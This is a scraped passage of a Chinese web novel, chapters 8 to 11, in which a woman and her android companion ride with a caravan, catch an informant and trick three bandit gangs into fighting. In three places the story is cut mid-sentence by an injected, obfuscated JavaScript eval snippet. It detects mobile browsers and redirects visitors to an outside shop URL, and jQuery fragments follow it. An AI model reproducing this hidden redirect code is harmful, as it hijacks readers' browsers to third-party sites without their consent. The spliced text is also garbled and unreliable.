她烦躁地松开手链,用力抓了抓自己半湿的头发,随后猛地翻了个身,把脸埋进枕头里。
睡觉。
她现在最需要的是休息,是恢复精力,明天运输队上门,还有很多事需要她想,需要处理。
一笔尾款只是暂时解决了燃眉之急,想要彻底解决,一定要把手上现有资源,利用到最大化。
包括。
这座庄园。
还有林守恒在这个世界的威望。
想用这点事情彻底击垮她?
林守恒,你未免也太瞧不起人了。
她不光要活下去,还要利用林守恒留下来的资源,活的比谁都好。
想看她狼狈,想看她绝望。
不可能。
睡意被忽然燃起的斗志驱散了一些,她睁开眼,翻了个身,仰面望着天花板。
之前被锤子工坊那个订单打断的想法再次浮现,并且现在好像更具体了点。
这么大的空间,这么多的房间,林守恒在这个世界累计的声望,小1的能力,这些都是资源。
她不能坐以待毙,她要主动创造价值。
十二个月,她要在十二个月里,把这个死气沉沉的庄园变成一个能源源不断产生收益的东西。
林守恒给她留下了烂摊子,同时也留下了可操控的棋盘和棋子。
重新闭上眼。
现在,也该到她来落子了。
8. 第 8 章
第二天一早,天刚蒙蒙亮,祝梧心就醒了。
可能是想清了未来的规划,她这一夜睡得非常安稳,醒来以后感觉神清气爽。
洗漱完毕,她打开衣柜,拿出来那身她来的时候穿的衣服,白衬衫、棕色毛衣和黑色长裤,小1贴心地给她洗干净熨好挂在柜子里,随后她赶紧换好,对着镜子随意一拢头发,就开门下楼了。
刚下来,就看到小1已经等在了门厅,看见她,小1眼眸微动,立刻汇报道:“所有者小姐,陆行兽运输队已于三分钟前抵达了庄园外,目前正在等候。”
“走吧。”祝梧心点点头,率先往外走。
清晨的空气带着草木湿气。雪已经停了,但还是有些冷,祝梧心吸了吸鼻子,把毛衣紧了紧,步子不自觉加快。
庄园外,一支由几头体型庞大,披着厚重甲壳,外形类似蜥蜴与犀牛结合体的陆行兽组成的车队正安静等待。
为首的是一个身材矮壮、皮肤粗糙肤色黝黑,穿着皮质马甲的中年男性,头上生着一对弯曲的犄角,看起来就像是某种亚人种族的。
看到门打开,他立刻朝大门走来,但看到门内站着的祝梧心的时候,男人明显愣了一下。完全没想到今天会看到一个与本地种族外貌特征完全不一样的人类,和林教授一样的人类。
“您……您好?”他看着祝梧心迟疑开口,“我是陆行兽运输队的领队,大盾,请问林教授他……不在吗?”又往祝梧心身后看了一眼,并没有看到林教授的身影,目光瞬间有点失望。说起来,他还从来没见过林教授,本以为这次能亲眼见一见这位伟大的教授,没想到还是见不到。毕竟,林教授向来都使用信鸽商会来运送货物,这次愿意选择他们陆行兽,简直让他们受宠若惊。
祝梧心脸上瞬间挂上官方笑容:“领队您好,我是庄园新来的管家,姓祝,教授最近实验到了关键阶段,不方便见客,所以此次的事务由我全权负责。”
原来是这样。听完祝梧心这个解释,大盾连脸上的失望瞬间被原来如此和更多的敬重取代,他连忙点头,姿态在祝梧心看起来要多恭敬有多恭敬。
“明白,明白!”他道。
货物很快被搬上车队特制的加固货箱。再三确认固定好后,大盾拍了拍手,转向祝梧心:“祝管家,货物装载完毕,我们这就准备出发了,预计四到五天后抵达灰岩城。”
“我相信你们的安排。”祝梧心笑着说道。
听到这话,大盾笑得憨厚,正准备再说点什么,忽然听到祝梧心继续说道:“只是我可能要跟着车队一起走一趟。”
大盾脸上的笑容僵了一下。他看着祝梧心,黝黑的脸上满是错愕,还以为是自己听错了。
“您……您这是?”这细皮嫩肉看着风一吹就倒的人类女性,要跟着他们一起去跑一趟裂变峡谷?这不是去郊游啊!
“祝管家?”小1也轻声唤道,刚才在过来的路上,祝梧心特别交代小1在外人面前一定要喊她祝管家。随后只见数据流在小1淡蓝色眼睛里一闪而过,她在快速分析这个决定的利弊和风险。
祝梧心转头看小1:“要一起吗?”
小1停顿了一下,停止了计算,随后毫不犹豫地回答:“保护祝管家也是我的职责。”
祝梧心唇角微微弯了一下,随即转向还在愣神的大盾,瞬间换上一副无奈的表情,轻声叹了口气,压低声音道:“实不相瞒,教授特意交代,这批货物关乎他下一步的重要研究,让我务必亲眼看着送到客户手里。尤其是……必须严格按照他标注的这条路线走,教授他对自己的成果能否让客户百分百满意,看得比什么都重……所以,麻烦您通融一下,可以吗?”
她语气诚恳,眼神里带着“我也是奉命行事”的为难,半是解释,半是抬出了林守恒这座大山。
大盾一听是林教授的意思,当即不犹豫了:“当然行!教授的要求,必须行!”
他用力拍了拍胸膛,发出结实的闷响:“既然是教授的意思,那没说的!祝管家您放心,我们一定把您安安稳稳送到灰岩城。就是,路上条件可能艰苦点,您多担待!”
说完,他立刻转身招呼手下,把她们带去了那辆最宽敞、视野也最好的陆行兽车。
车厢内部比预想的还要宽敞一些。
祝梧心和小1刚坐下,大盾就利落地攀上车厢,在她们对面坐下。
随着他一声浑厚的吆喝,车队缓缓启动,陆行兽迈开步子,踩在地上发出闷响,很快便载着她们离开了薄暮路17号。
祝梧心轻轻靠在窗边,目光投向窗外。景物飞快地向后掠去,她静静望着,一边观察环境,一边默默记着路线。小1则安静地坐在她身边,不发出一点声响。
一时间,车厢里只剩下陆行兽规律而沉闷的脚步声。
大盾是个闲不住的话匣子,安静了没一会儿就按捺不住了。他好奇地打量祝梧心和她身边的小1,最后,目光落在小1身上,忍不住问道:“祝管家,您身边这位……也是仿生人吧?我还是头一次见到能跟主人对话这么流利的仿生人,林教授制造出来的东西,真是不一般呐!”
祝梧心闻言,从窗外收回视线。她看向大盾,脸上露出一个浅淡的微笑,顺着他的话头应道:“是啊。教授在这些领域,总是追求极致,有时候我都觉得,他是不是把所有的耐心和巧思,都倾注在造物上了。”语气里带着恰到好处的那种,下属对天才上司的无奈与敬佩。
大盾立刻深有同感地猛猛点头,自此话匣子彻底打开了。
“可不是嘛!您说的太对了,林教授那就是这个!”他翘起粗壮的大拇指,“咱们永寂平原,谁不知道林教授的大名?就是教授太低调了,不爱宣扬自己。”
祝梧心安静听着,脸上适时地露出,教授他就是这么厉害的笑容。随后她不动声色引导:“教授确实不爱宣扬这些,总觉得这些都是分内的事情,许多事情教授都是悄无声息就解决了。”
她故意说的模糊,她也不知道许多事是什么事,就等大盾自己给她补充,她得知道林守恒在这个世界到底受人敬仰到什么程度。
大盾果然上道,他用力一拍大腿,声音都拔高了:“对对对!你说的太对了!”
祝梧心:“是吧。”
大盾猛点头,又说:“之前,有一个叫黑石头山的地方,突然有一天,那边莫名其妙出现一块陨石,眼看那块陨石就要爆炸,引发大的灾难,是教授连夜赶过去,硬是把事情解决了,这得是救了多少的人的性命啊!大家都说,教授虽然平时不怎么露面,但是关键时刻,他是真靠得住!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668884|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马上就要大爆炸的陨石?还被林守恒解决了?真的假的?
大盾还在眉飞色舞的讲述林守恒的事迹,祝梧心不动声色地看了一眼小1,小1心领神会,将这件事情的经过调出来,不多时,她对祝梧心点头,大盾说的是真的。
竟然是真的?祝梧心心里嘀咕,林守恒还有这种“救世主”的戏码?面上却依旧保持着倾听的姿态,甚至还配合地露出了惊叹的表情。
“那可是了不得!”大盾越说越激动,声音洪亮,“您当时是没看见那阵仗!黑石头山那边,半边天都烧红了,那块大石头就嵌在山坳里,嗡嗡作响,能量乱窜,眼看就要炸!当时好几个城邦派去的专家队都束手无策,说只能紧急疏散,但那玩意儿真要炸了,半个永寂平原都得遭殃!”
他比划着,脸上满是后怕:“结果呢?林教授就带着两个箱子孤身进去了!谁也不知道他在里面做了什么,第二天天亮,您猜怎么着?”
祝梧心很给面子地微微前倾身体:“怎么着?”
“那块吓死人的大石头,没了!”大盾一拍大腿,“山坳里就剩下林教授一个人站着,后来各大城邦派来的专家去检查,说那地方的辐射和能量残留都消失了,干干净净!”
消失了?祝梧心微微皱眉。这听起来可不像是那陨石被爆破或者转移了那么简单。以她对林守恒的了解,救人?她怎么那么不信呢?且不说他一个人类怎么会有这么大的能力,她甚至怀疑,那陨石本身说不定就是林守恒搞出来的。所谓处理,估计也只是顺手,或是为了避免自己实验被发现。
想到这里,她对林守恒的恶意揣测已经达到了极致,完全不相信林守恒有一丁点的可能是个好人。
但她面上仍然不显,说道:“教授真是……太厉害了。”语气带着恰到好处的感慨,“而且他回来后也没多提,只说问题解决了就好。”祝梧心继续编。
“可不是嘛!”大盾对林守恒的崇拜简直溢于言表,“教授就是这样,做了天大的好事也不张扬!自那以后,咱们永寂平原谁不年林教授的好,要不是他,不知道多少人要家破人亡哩。”
祝梧心脸上笑容依旧得体:“是啊。”随后她不动声色将话题拉回当前的行程上。
“说起来,这次选择的路线,教授也是再三斟酌过的,尤其强调了要避开裂变峡谷几个不太平的区域,希望一路顺利。”
大盾立刻拍胸脯保证:“您放心,教授指定的路线,我们绝对一步都不会走错!虽然远了点,但安全第一!我们这队兄弟也都是老手了,真遇上那些不开眼的盗匪,也得先过了兄弟们这关!”
祝梧心笑笑,没再说话。
车队在荒芜的平原上平稳前行。
祝梧心靠着车厢,看似闭目养神,实际上她脑子里还一遍一遍推演路线图和应急预案。
旅途枯燥,刚才长时间说话大盾也说累了,没多久,车厢内就彻底安静下来了。
不知道过了多久,一直沉默的小1忽然轻声开口:“前方三公里,即将进入裂变峡谷边缘地带,根据所规划路线,我们将驶入古代商道绕行。”
祝梧心睁眼,看向窗外,外面地貌已经开始发生变化,平坦的原野逐渐被起伏崎岖的山路取代,空气中也带上了一丝若有若无的硫磺味。
9. 第 9 章
车厢里的温度也随着外面夜色渐渐深沉而明显降了下来,风毫无征兆地刮起来,在毫无遮挡的平原上,即便隔着车厢,也能听到外面呜呜的声响,带着刺骨的寒意。
车队在进入裂变峡谷前最后一处相对平坦的背风处停了下来,准备进行修整。
天色经彻底黑透,像被墨浸染了一样,一颗星星都看不见,只有不远处裂变峡谷方向隐约传来的风啸声,听着总觉得好像有什么事要发生。
“祝管家,今晚咱们就在这里过夜了。”大盾安顿好兄弟们,搓着手走回到车厢,说话的时候嘴里呵出团白气,“生火目标太大,怕招来盗匪,今晚吃不上热乎的了,只能委屈您吃点肉干和干粮。”说着他递过来。
“理解,安全第一。”祝梧心点头,接过肉干和干粮,实际上她想问有没有热水能给她喝一口暖一下身子,但是,还是不麻烦了。
大盾虽然是个粗人,但心思却不粗。他注意到祝梧心身上单薄的毛衣,也看见她接过肉干时,手指冻得僵硬,几乎蜷不起来,想来也是怕麻烦他们,才一声不吭的吧?
他在心里暗叹一声“不愧是林教授的管家”,随即转身从自己行囊里翻出了一张厚实但味道不太好闻的兽皮毯子,递了过去:“这个您拿着盖,夜里冷,别冻着了。”
祝梧心看着毯子,毛皮粗糙,颜色暗沉,上面还有些污渍,但确实厚实。她接过来,入手沉甸甸的。
“谢谢。”她感激道。这种环境下,任何一点保暖的东西都是雪中送炭。
“嗐,客气啥。”大盾憨厚地笑了笑,又看了一眼祝梧心身旁安静坐着的小1,没再多说,转身去安排守夜了。
没多久,外面逐渐安静下来,众人各自回到车厢里,就这冷水啃着硬邦邦的干粮肉干,解决了晚饭。
祝梧心也默默吃着大盾给的肉干,味道又咸又涩,口感像嚼鞋底,她面无表情地咀嚼,然后用力咽下去。
这种环境下,还能有什么挑的,能填饱肚子抵御寒冷已经非常好了。况且即便是这样的肉干,在她看来,也比庄园里那些营养剂不知道要好了多少倍,至少,这东西能让她吃到点食物的实感。
吃完后,她将那张厚重的兽皮毯子展开,裹在了自己身上。粗糙的皮毛擦着皮肤有些刺痒,但确实隔绝了不少寒气,身体总算是慢慢找回了一点暖意。她靠坐在车厢壁旁,目光忽然扫过安安静静坐在一旁的小1。
小1还是那身单薄的白色连衣裙,露在外面的小腿和手臂在昏暗的光线下白得晃眼,好像感觉不到冷。
祝梧心盯着她看了几秒,忽然开口:“小1。”
小1立刻转头。
祝梧心挪了挪自己的位置:“靠过来点。”
小1很听话,依言靠近了些。
祝梧心没再多说,将身上厚重的毯子掀开,直接分了一大半过去,将小1也罩了进来。
小1身体微不可闻地僵了一下。她偏了片头,看着祝梧心近在咫尺的脸,眼中数据流缓慢的闪了一下。【行为分析:共享保暖物。动机:???数据库比对……常见于亲密个体间的互助行为。逻辑关联:所有者小姐体温低于舒适阈值,我的存在不影响毯子覆盖面积。结论:……可执行。】
“祝管家,”她轻声说,“我的机体有恒温系统,并不需要……”
“盖着。”祝梧心打断她,语气没什么大的起伏。她自己也说不清为什么要这么做,大概是觉得,让一个看起来跟人一模一样的仿生人在旁边冻着,而自己裹得严严实实,感觉有点怪。
小1没再继续说,任由那带着祝梧心体温的毯子将自己包裹。只是……一种陌生的、她无法用数据精确分析的感觉,透过那粗糙的毛皮,隐隐约约传了过来。不多时,她微微低下头,看着身上的毯子,不再说话。
夜色渐深,劳累了一天的车队成员们很快发出了鼾声。
小1也进入了低功耗的休眠状态,闭上了眼睛。
祝梧心却睡得并不踏实。
外面呼啸的风声,车厢内偶尔发出的嘎吱声,混杂着不远处守夜队员的脚步声,都让她处于一种半梦半醒的浅眠状态。在这个完全陌生且说不准什么时候就会出事的环境里,她的警惕心被拉到了最高。
不知道过了多久,一阵很轻微但明显能感觉是刻意放轻了的脚步声,混杂着风声钻进了她耳朵。
不是守夜队员规律的脚步声。
睡意瞬间消散,祝梧心立刻睁开了眼睛。
她屏住呼吸,适应了片刻车厢内外的黑暗,她悄悄挪到车窗边,掀开窗帘的一角,朝外看去。
借着一点微弱的月光,她看到一个黑影,正蹑手蹑脚从不远处另一辆兽车上溜下来。落地后,还极其谨慎地左右张望,手里好像还攥着个什么东西,然后猫着腰,脚步飞快地朝营地外走。
鬼鬼祟祟。
祝梧心皱眉,一种不太妙的感觉油然而生。
她轻轻掀开身上的毯子,随后她轻声唤了一声:“小1。”
几乎在她出声的同时,小1蓦地睁开眼,看向祝梧心。
祝梧心食指竖在唇边,做了个噤声的手势,然后用眼神示意了一下车外那个黑影。
小1立刻领会,点了点头。
随后两人悄无声息滑下兽车。
冷风瞬间裹了上来,祝梧心忍不住打了个寒颤,赶紧紧了紧身上的毛衣。
两人借着车辆和夜色的掩护,在不惊动守夜队员的情况下,远远地跟上了那个黑影。
那人显然对这片地形很熟悉,七拐八拐,很快便远离了营地。
最后,停在一条早已经干涸的小河边上。
他停下脚步,然后四处张望。
祝梧心赶紧拉着小1躲到一块大石头后面。
没多久,那人确定四周无人后,拿出那个他手里一直紧攥着的东西,借着微弱的光线,祝梧心大致看清了,好像是一个哨子。
随后他把哨子放到嘴边,鼓起腮帮,用力吹下去,奇怪的是,明明用力了,那哨子却没有发出任何声音。
但祝梧心敏锐地感觉到,空气中好像有什么变化了,像是一种频率,但人的耳朵听不到。
片刻后,一道身影从河床对岸走了过来。
来人一身典型的盗匪打扮,皮甲破烂,脸上带着疤,眼神凶狠。
两人迅速凑到一起,低声交谈起来,但距离太远,祝梧心听不清具体内容,但能看到那个车队成员对盗匪点头哈药,态度谄媚,时不时还指向车队营地的方向。
祝梧心脸色沉了下来。
内鬼,她最担心的事情还是发生了。
她按捺住现在就冲出去的冲动,紧紧盯着那边。现在出去除了打草惊蛇,对她没有任何好处。
之前小1给的资料上清楚明白的写着,盗匪心狠手辣,一旦落入盗匪手中,就是无尽的折磨,生不如死。
很快,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668885|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们的交谈结束了。那盗匪似乎很满意,伸出手,用力拍了拍内鬼的肩膀,然后从怀里掏出一个小布袋,丢了过去。
内鬼接过布袋,迫不及待地打开看了一眼,尽管光线昏暗,祝梧心都能感觉到他脸上那几乎要咧到耳根的笑。随后他贪婪地点了点钱袋,迅速塞进怀里,又对盗匪说了几句什么,这才转身,沿着原路,心满意足地溜了回去。
祝梧心和小1依旧隐在大石头后,一动也不敢动,直到那内鬼身影彻底消失在返回营地的方向,直到河对岸的盗匪身影也彻底消失,才敢动。
冰冷的夜风吹过,卷起地上的沙砾,打在大石头上,发出细碎的声响。
祝梧心缓缓吐出一口气,触碰到寒冷的空气瞬间变成一团白雾。她转过头,看向身边的小1,小1蓝色的眼眸在黑暗中回望,好像只要她一声指令,她就立即追上去。
但等了许久。
“走吧,”祝梧心声音在风里显得有些抖,“先回去。”
……
两人又悄无声息回到车上。
小1立刻将毯子裹在祝梧心身上。
祝梧心几乎冻僵了,手指麻木得不听使唤,牙齿都在微微打颤。
然而此刻她的脑子却比什么时候都清醒。
她盯着车厢地面,思绪转得飞快。
抓住他吗?这很容易。
叫醒大盾,当众揭穿,这个内鬼的下场可想而知。
但这没有用。
杀一个内鬼,什么都影响不了。
裂变峡谷的盗匪依旧盘踞,他们就像依附在这条商路上的毒瘤,只要商路还在,只要运输队还在跑,内鬼就会如雨后春笋,一茬接一茬地冒出来。
她未来很可能还需要陆行兽运输队,地下室那些货物,她不打算放弃了。就算她这次侥幸因为那条古代商道侥幸将货物送出去,但是以后呢?
盗匪不是傻子,一定会警觉。
这次运的是林守恒的货,对方或许还心存忌惮,下次呢?
麻烦,无穷无尽的麻烦。
要么,彻底解决这个问题。要么,就让他们在这次事件中元气大伤,至少短时间内无法再构成威胁。
可是怎么做?
“……”她下意识用牙齿咬住了下唇。
直到她尝到一股血腥味儿才意识到,不知什么时候嘴唇竟然被她咬破了。
但这疼痛竟然让她刚才混乱的思绪稍微清晰了一点。
盗匪,三股势力,内鬼联系的是其中一股……
他们拿到了车队的确切线路和情报,肯定会动手。
动手……
一个大胆,甚至疯狂的计划在她脑中成型。她猛地抬头,动作突然到让旁边一直担心看着她的小1都惊动了一下。
“所有……不……祝管家?”就在那一瞬间,小1检测到祝梧心心率在刚才瞬间飙升。
祝梧心抬手,示意她先安静。
内鬼报信,盗匪会预先埋伏在他们的必经之路。
那么如果他们预期的埋伏落空了呢?
如果……他们等来的不是肥羊,而是……另一群恶狼呢?
裂变峡谷的盗匪并非铁板一块,三股势力为了资源和矿脉冲突不断,资料上写的清清楚楚。
借力打力,驱狼吞虎。
是的,是的,是的,就应该这样。
随后,她看向小1:“小1,我需要你帮我做一件事。”
10.第 10 章
第二天天还没亮透,车队就再次启程。
离裂变峡谷越近,祝梧心越能感觉到整个车队越来越紧张,连带着陆行兽的呼吸声好像都重了几分。
祝梧心靠坐在车厢离,眼下有淡淡的阴影,后来她索性没再睡觉。她这次之所以会跟着车队一起走一趟,就是怕发生意外,果不其然意外还是发生了,她很庆幸自己跟来了,但庆幸之余,她不确定自己这次能不能全身而退,如果不能……祝梧心掀开窗帘,窗外地貌逐渐变得陡峭,捏着窗帘的手无意识的蜷了蜷,心情却意外的平静。
如果真的不能全身而退,不过也就是把一年后死,提前到了现在罢了。
大盾在外面骑着一头比陆行兽要小一点的坐骑,在车队种来回穿梭巡视,粗犷的声音时不时传进车厢。
在看到祝梧心时,会给祝梧心打个招呼,笑得很憨厚,然后继续忙碌巡视。
可看着大盾憨厚的笑容,祝梧心连嘴角牵扯出一个笑容回应都做不到。浓浓的负罪感裹挟着她。
这时,大盾忽然骑着他的坐骑靠近车窗:“祝管家,前面就要改道了,按照教授给的路线,走那条老的商道。”
祝梧心手指蜷了蜷:“好。注意安全。”
大盾重重嗯了一声,脸上肌肉绷紧:“您放心,我一定会保护好您的安全。”
随即车队缓缓驶入一条明显狭窄荒芜很多的道路,两边岩壁越来越高,周遭的温度跟着也降低了。
一时间除了大盾招呼着,都谨慎点,注意安全的声音,再无其他声音。
小1依旧安静地坐在祝梧心身边,像一尊精致漂亮的瓷娃娃,但祝梧心能感觉到,小1的在警惕着周围的一切。
祝梧心目光扫过车队里的每个人,那个内鬼,此刻正老老实实坐在他的坐骑上,偶尔抬头看看天,或者是假装整理缰绳,看不出来任何异常。
祝梧心心中冷笑,演技倒是不错。
“小1。”
小1:“收到。”
时间过的很快,越是深入那条古代商道,周围的环境就越是险恶,奇形怪状的岩石张牙舞爪,风声穿过岩石缝隙,发出呜咽声一样的怪响。
“嘶——”
突然。
前方突然传来陆行兽不安的喷鼻声和一阵骚动,车队猛地停了下来。
“怎么回事?”大盾声音响起。
“头儿,前面……前面路被塌方的石头堵了一小半!”一个队员跑过来汇报,“看着像新塌的。”
祝梧心心脏瞬间提到了嗓子眼。
大盾皱眉,问:“能过吗?”
“能,就是得慢点,费点功夫。”
祝梧心松了口气。
大盾也松了口气,下一秒他又严肃起来,道:“都打起精神来,注意着小心点走,别受伤。”
一个小插曲。
但队伍还是不可避免地会出现短暂的混乱。
不过很快就被压制了下去。
队员们小心地开始通过那段路,车轮碾过随时,发出令人牙酸的声响。
祝梧心靠在车厢壁上,指尖冰凉。
这个小插曲是意外,还是有人故意为之,她不确定,但内鬼昨天已经将消息送了出去,盗匪一定在前面等着他们。
车队终于有惊无险地通过了塌方路段,速度再次提了起来。
周围景色越来越荒凉,扭曲的枯树像垂死挣扎的怪物。
大盾骑着坐骑再次靠近车窗:“祝管家,前面再走一段路,就是‘石塔’了,那地方有点邪性,咱们得尽快通过。”
石塔,这个地方资料里她看过,那里好像遭受过一场大火,没人知道这火从何而来,一直到现在,石塔周围还有这不断燃烧着的大火,阻绝一切靠近石塔。
随后车队的速度明显加快了,陆行兽粗重的喘息声在这条商道回荡。
而越靠近石塔路段,越热,那疯狂燃烧着的火焰,好像要把一切都烧着。
大盾下令快速通过这一路段。
突然。
“嗖!”
一只响箭带着尖啸,从不远处山崖上射了过来,叮地一声,直接钉在了车队最前的陆行兽前方的地面上。
来了。
几乎在响箭破空而来的同时,两侧的山崖上,影影绰绰地冒出了数十个身影,他们穿着皮甲,手里拿着各式各样的武器,脸上带着残忍而贪婪的笑容,为首那个,脸上有一道狰狞的刀疤,从额头一直划到下颌,正是昨晚与内鬼接头的那个盗匪。
“血狼团办事!识相的,”刀疤脸声音沙哑难听,“自己把货交出来,兴许,爷爷还能让你们死的爽快点。”
车队瞬间一阵骚动,队员们虽然紧张,但显然也经历过风浪,迅速收缩队形,武器出鞘。
大盾脸色铁青,取下自己的战斧握在手中,怒吼:“你做梦!知不知道这是谁的货物?!”
听到大盾这话,刀疤脸好像想起来什么似的,啊了一声。
“你不说这个我倒是忘了。”话音未落,目光落在一辆陆行兽车厢上。昨晚内鬼的消息里,提到了……一个人类女人?
祝梧心坐在车厢里,能清晰感受到那道不怀好意的视线穿透车厢落在自己和小1身上。
她深吸一口气,强迫自己冷静。
因为,她在等。
等变数。
大盾显然不打算坐以待毙,他怒吼一声,正准备下令冲锋,强行突破,不管如何,他不能让祝梧心落在血狼团手里,他不敢想,一个漂亮的人类女人落在残忍盗匪手里,会经历什么。
就在这时——
“嗷呜——!”
另一侧的山坡上,突然传来一阵怪异的,乌鸦的叫声。
大盾脸色瞬间变了,握着战斧忍不住抖了两下。
“石鸦帮!”有车队队员失声惊呼。
刀疤脸的脸色瞬间变得难看至极,他猛地转头看向石鸦帮出现的方向:“你们来凑什么热闹?!”
石鸦帮为首一人,声音尖细,带着嘲弄:“刀疤,吃肉不想着分点汤给兄弟?林教授的‘特殊货物’,你们血狼团胃口这么大,也不怕噎死?”
几乎同时,车队后方的来路上,也响起了密集的脚步声,第三伙人堵住了退路,这些人身形相对矮小灵活,指甲尖锐如同兽爪,正是裂爪帮的人。
“嘿嘿,看来今天这石塔,要热闹起来了。”裂爪领头的是个佝偻着背的老者,眼神却跟毒蛇一样阴冷。
场面瞬间变得复杂。
另外两股势力的到来,血狼团原本的优势荡然无存,三方人马互相警惕,气氛剑拔弩张,反而暂时忽略了被围在中间的车队。
大盾和车队队员们也都蒙了,完全没料到会是这个局面。
祝梧心紧紧攥着手心,指甲几乎嵌进肉里。
她的计划其实也很简单,但,也很疯狂。
既然内鬼已经把消息卖给了盗匪,那她干脆将计就计,让小1放出消息。
血狼团企图独吞一笔来自林教授远超寻常价值的特殊货物,交易地点在古代商道,时间,就是今天。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670627|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裂变峡谷的盗匪并非铁板一块,三股势力为了资源和矿脉冲突不断,资料上写的清清楚楚。
借力打力,驱狼吞虎。
但接下来,才是最关键,也是最不可控的部分。
这些亡命之徒,会如他所愿,先自己打起来吗。
她透过车窗,紧张地观察外面的局势。
三方盗匪的首领正在互相叫骂,声音越来越高,火药味越来越浓。
“石鸦帮的杂毛鸟,敢抢老子的东西!”
“刀疤脸你他妈少放屁!这货写你名字了?”
“呵呵,年轻人,火气别这么大……”
“老东西,谁准你插嘴了!”
争吵中,不知道是谁先动了手。
“操!干他们!”
一声怒吼如同点燃了炸药桶,三方人马瞬间混战在一起!
兵刃碰撞声、怒吼声、惨叫声瞬间响彻了整个石塔。
车队被这突如其来的混战惊呆了。
大盾反应几块,立刻吼道:“别管他们!护住货物,找机会冲出去!”
然而,混战的中心就在车队旁边,不可避免地波及到了车队。
场面更乱了。
车厢在混战中剧烈摇晃。
祝梧心死死抓住窗框,指节泛白。
一个血狼团的盗匪被石鸦帮的人一刀劈飞,重重撞在他们车厢上,血溅了一窗户。
祝梧心胃里一阵翻江倒海。
不能待在这里。
强行压下不适,她推开车门,目光快速扫过周围。
混战主要集中在车队前方和后方,而侧翼……她视线越过混乱的战场,落在那片燃烧着大火的区域。
“大盾!”祝梧心喊道,“往石塔方向撤!沿着火边!”
大盾一斧子劈开面前张牙舞爪的盗匪,循声看过去,脸上瞬间露出不确定:“那会被烧成灰的!”
“留在原地死的更快!”祝梧心几乎是吼出来的,“赌一把!”
大盾看到身边兄弟已经有人负伤了,又看了一眼越杀越红眼、几乎不分敌我的三方盗匪,一咬牙:“听祝管家的!往石塔撤!”
车队人员执行能力很快,立即收缩,拼命朝石塔方向移动。
混乱中,那个内鬼眼神闪烁,趁乱想往血狼团方向溜,却被一直暗暗盯着他的小1发现,悄无声息靠近,一记手刀砍在后颈,直接软软倒地,被小1像拖麻袋一样拽着跟上队伍。
车队在混乱中艰难向石塔移动,燃烧的火焰带来的热浪扑面而来。
裂爪帮那个佝偻老者,浑浊的眼睛闪过一丝精光。他本来就打折鹬蚌相争的主意,没完全投入混战,此刻眯着眼扫过战场。
“上当了。”他猛地啐了一口,然后转头,“蠢货!我们都被耍了!那女人是想让我们自相残杀!货和人都要跑了!”老者说完眼眯起来,他为什么说是车里的女人,陆行兽的人没这个脑子,所以后面必然有高人指点。
他这一嗓子,像冷水泼进滚油锅。
正杀的红眼得刀疤脸和石鸦帮首领动作一滞,顺着老者指得方向看去。
车队果然正贴着燃烧区域的边缘移动,眼看就要绕过最混乱的战圈。
“操!”刀疤脸反应过来,怒骂一声,也顾不上继续缠斗了,“拦住他们!快拦住他们!货到手平分!!!”
刚刚还打成一团的三方,在更大的利益和被戏弄的怒火驱使下,竟然瞬间达成了短暂的同盟。
随后,他们嘶吼着朝车队扑来。
11.第 11 章
祝梧心心脏狂跳,几乎要跳出胸腔。
最担心的情况还是发生了,这些刀口舔血的亡命之徒或许贪婪,但绝不全是傻子。
“想跑?”老者喉咙里发出嗬嗬的冷笑,很快追了上来。
“不好!裂爪帮的人追上来了!”殿后的车队队员惊恐地大喊。
裂爪帮的人身形矮小灵活,在乱石中奔跑如履平地,眼看就要追上来。
“快!再快点!”大盾怒吼着催促。
他们已经非常靠近石塔区域,前面的空气因为高温而扭曲,地面滚烫,热浪扑面而来。
身后是紧追不舍、利爪闪着寒光的裂爪帮盗匪。
前有绝地,后有追兵。
“进石塔。”祝梧心指着火焰环绕中,那个黑洞洞的塔楼入口。那是目前他们唯一能走的地方,说完,自己率先走过去。
小1毫不犹豫地跟上,一手拖着那个昏迷的内鬼。
看到祝梧心和小1的动作,大盾把心一横:“跟上!进塔!”
幸存的车队成员护着货物,狼狈不堪地冲进了石塔。
“哼,自寻死路!”老者看到他们冲进石塔,抬了抬手,示意不要追了。
“为什么不追了?!”刀疤脸急吼吼地冲过来,脸上新添的伤口还在渗血,眼神凶狠得像要吃人,“到嘴得肥肉就这么放了?那里面可是林守恒的货!还有个人类女人!”
石鸦帮的领头的也追上来:“老鬼,你最好说清楚。”
老者浑浊的眼珠缓缓转向他们,阴恻恻地开口:“年轻人,火气别那么大,你们知道那是什么地方吗?”他枯瘦的手指指向石塔,“焚骨之塔,听说过吗?这火,烧了上百年了,从来没人能进去又全须全尾的回来,那不是凡火,沾上一点,连灵魂都能给你烧成灰烬。”
